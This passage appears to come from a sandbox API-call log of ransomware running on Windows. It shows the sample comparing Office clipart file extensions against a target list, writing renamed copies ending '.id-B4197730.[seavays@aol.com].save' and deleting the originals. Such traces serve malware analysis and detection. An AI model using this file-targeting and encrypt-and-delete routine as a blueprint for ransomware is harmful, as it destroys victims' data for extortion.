lpString2=".WMF") returned -1 [0075.211] lstrlenW (lpString=".bz2") returned 4 [0075.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.211] lstrlenW (lpString=".7z") returned 3 [0075.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0075.211] lstrlenW (lpString=".dbf") returned 4 [0075.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0075.211] lstrlenW (lpString=".1cd") returned 4 [0075.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0075.211] lstrlenW (lpString=".jpg") returned 4 [0075.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.213] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.213] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0075.214] GetLastError () returned 0x0 [0075.214] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x79cc, lpOverlapped=0x0) returned 1 [0075.217] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x79d0, lpOverlapped=0x0) returned 1 [0075.219] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.219] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.219] SetEndOfFile (hFile=0x2f4) returned 1 [0075.219] CloseHandle (hObject=0x2f4) returned 1 [0075.219] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.219] SetEndOfFile (hFile=0x2f8) returned 1 [0075.220] CloseHandle (hObject=0x2f8) returned 1 [0075.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 1 [0075.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0075.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0075.221] lstrlenW (lpString=".doc") returned 4 [0075.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.222] lstrlenW (lpString=".docx") returned 5 [0075.222] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.222] lstrlenW (lpString=".pdf") returned 4 [0075.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.222] lstrlenW (lpString=".xls") returned 4 [0075.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.222] lstrlenW (lpString=".xlsx") returned 5 [0075.222] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.222] lstrlenW (lpString=".ppt") returned 4 [0075.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0075.222] lstrlenW (lpString=".zip") returned 4 [0075.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.222] lstrlenW (lpString=".rar") returned 4 [0075.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.222] lstrlenW (lpString=".bz2") returned 4 [0075.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.222] lstrlenW (lpString=".7z") returned 3 [0075.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0075.222] lstrlenW (lpString=".dbf") returned 4 [0075.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0075.222] lstrlenW (lpString=".1cd") returned 4 [0075.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0075.222] lstrlenW (lpString=".jpg") returned 4 [0075.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.223] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.223] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0075.224] GetLastError () returned 0x0 [0075.224] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x329e, lpOverlapped=0x0) returned 1 [0075.751] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x32a0, lpOverlapped=0x0) returned 1 [0075.753] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.753] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.753] SetEndOfFile (hFile=0x2f4) returned 1 [0075.753] CloseHandle (hObject=0x2f4) returned 1 [0075.753] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.753] SetEndOfFile (hFile=0x2f8) returned 1 [0075.754] CloseHandle (hObject=0x2f8) returned 1 [0075.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.754] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 1 [0075.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0075.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0075.756] lstrlenW (lpString=".doc") returned 4 [0075.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.756] lstrlenW (lpString=".docx") returned 5 [0075.756] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.756] lstrlenW (lpString=".pdf") returned 4 [0075.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.757] lstrlenW (lpString=".xls") returned 4 [0075.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.757] lstrlenW (lpString=".xlsx") returned 5 [0075.757] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.757] lstrlenW (lpString=".ppt") returned 4 [0075.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0075.757] lstrlenW (lpString=".zip") returned 4 [0075.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.757] lstrlenW (lpString=".rar") returned 4 [0075.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.757] lstrlenW (lpString=".bz2") returned 4 [0075.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.757] lstrlenW (lpString=".7z") returned 3 [0075.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0075.757] lstrlenW (lpString=".dbf") returned 4 [0075.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0075.757] lstrlenW (lpString=".1cd") returned 4 [0075.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0075.757] lstrlenW (lpString=".jpg") returned 4 [0075.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.760] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.760] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0075.761] GetLastError () returned 0x0 [0075.761] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x816, lpOverlapped=0x0) returned 1 [0075.762] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x820, lpOverlapped=0x0) returned 1 [0075.764] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.764] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xe4, lpOverlapped=0x0) returned 1 [0075.764] SetEndOfFile (hFile=0x2f4) returned 1 [0075.764] CloseHandle (hObject=0x2f4) returned 1 [0075.764] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.764] SetEndOfFile (hFile=0x2f8) returned 1 [0075.766] CloseHandle (hObject=0x2f8) returned 1 [0075.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 1 [0075.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0075.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0075.767] lstrlenW (lpString=".doc") returned 4 [0075.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.767] lstrlenW (lpString=".docx") returned 5 [0075.767] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0075.767] lstrlenW (lpString=".pdf") returned 4 [0075.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.767] lstrlenW (lpString=".xls") returned 4 [0075.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.767] lstrlenW (lpString=".xlsx") returned 5 [0075.767] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0075.767] lstrlenW (lpString=".ppt") returned 4 [0075.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0075.767] lstrlenW (lpString=".zip") returned 4 [0075.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.767] lstrlenW (lpString=".rar") returned 4 [0075.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.768] lstrlenW (lpString=".bz2") returned 4 [0075.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.768] lstrlenW (lpString=".7z") returned 3 [0075.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0075.768] lstrlenW (lpString=".dbf") returned 4 [0075.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0075.768] lstrlenW (lpString=".1cd") returned 4 [0075.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0075.768] lstrlenW (lpString=".jpg") returned 4 [0075.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.769] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.769] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0075.770] GetLastError () returned 0x0 [0075.770] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xeb4, lpOverlapped=0x0) returned 1 [0075.771] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec0, lpOverlapped=0x0) returned 1 [0075.772] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.772] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.772] SetEndOfFile (hFile=0x2f4) returned 1 [0075.773] CloseHandle (hObject=0x2f4) returned 1 [0075.773] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.773] SetEndOfFile (hFile=0x2f8) returned 1 [0075.774] CloseHandle (hObject=0x2f8) returned 1 [0075.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 1 [0075.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0075.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0075.774] lstrlenW (lpString=".doc") returned 4 [0075.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.775] lstrlenW (lpString=".docx") returned 5 [0075.775] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.775] lstrlenW (lpString=".pdf") returned 4 [0075.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.775] lstrlenW (lpString=".xls") returned 4 [0075.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.775] lstrlenW (lpString=".xlsx") returned 5 [0075.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.775] lstrlenW (lpString=".ppt") returned 4 [0075.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0075.775] lstrlenW (lpString=".zip") returned 4 [0075.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.775] lstrlenW (lpString=".rar") returned 4 [0075.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.775] lstrlenW (lpString=".bz2") returned 4 [0075.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.775] lstrlenW (lpString=".7z") returned 3 [0075.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0075.775] lstrlenW (lpString=".dbf") returned 4 [0075.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0075.775] lstrlenW (lpString=".1cd") returned 4 [0075.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0075.775] lstrlenW (lpString=".jpg") returned 4 [0075.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.776] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.776] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0075.777] GetLastError () returned 0x0 [0075.777] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x9a8, lpOverlapped=0x0) returned 1 [0075.778] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x9b0, lpOverlapped=0x0) returned 1 [0075.779] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.779] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.780] SetEndOfFile (hFile=0x2f4) returned 1 [0075.780] CloseHandle (hObject=0x2f4) returned 1 [0075.780] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.780] SetEndOfFile (hFile=0x2f8) returned 1 [0075.781] CloseHandle (hObject=0x2f8) returned 1 [0075.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 1 [0075.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0075.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0075.782] lstrlenW (lpString=".doc") returned 4 [0075.782] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.782] lstrlenW (lpString=".docx") returned 5 [0075.782] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.782] lstrlenW (lpString=".pdf") returned 4 [0075.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.782] lstrlenW (lpString=".xls") returned 4 [0075.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.782] lstrlenW (lpString=".xlsx") returned 5 [0075.782] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.782] lstrlenW (lpString=".ppt") returned 4 [0075.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0075.782] lstrlenW (lpString=".zip") returned 4 [0075.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.782] lstrlenW (lpString=".rar") returned 4 [0075.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.782] lstrlenW (lpString=".bz2") returned 4 [0075.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.782] lstrlenW (lpString=".7z") returned 3 [0075.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0075.782] lstrlenW (lpString=".dbf") returned 4 [0075.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0075.782] lstrlenW (lpString=".1cd") returned 4 [0075.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0075.782] lstrlenW (lpString=".jpg") returned 4 [0075.782] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.784] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.784] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0075.784] GetLastError () returned 0x0 [0075.784] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x8b8, 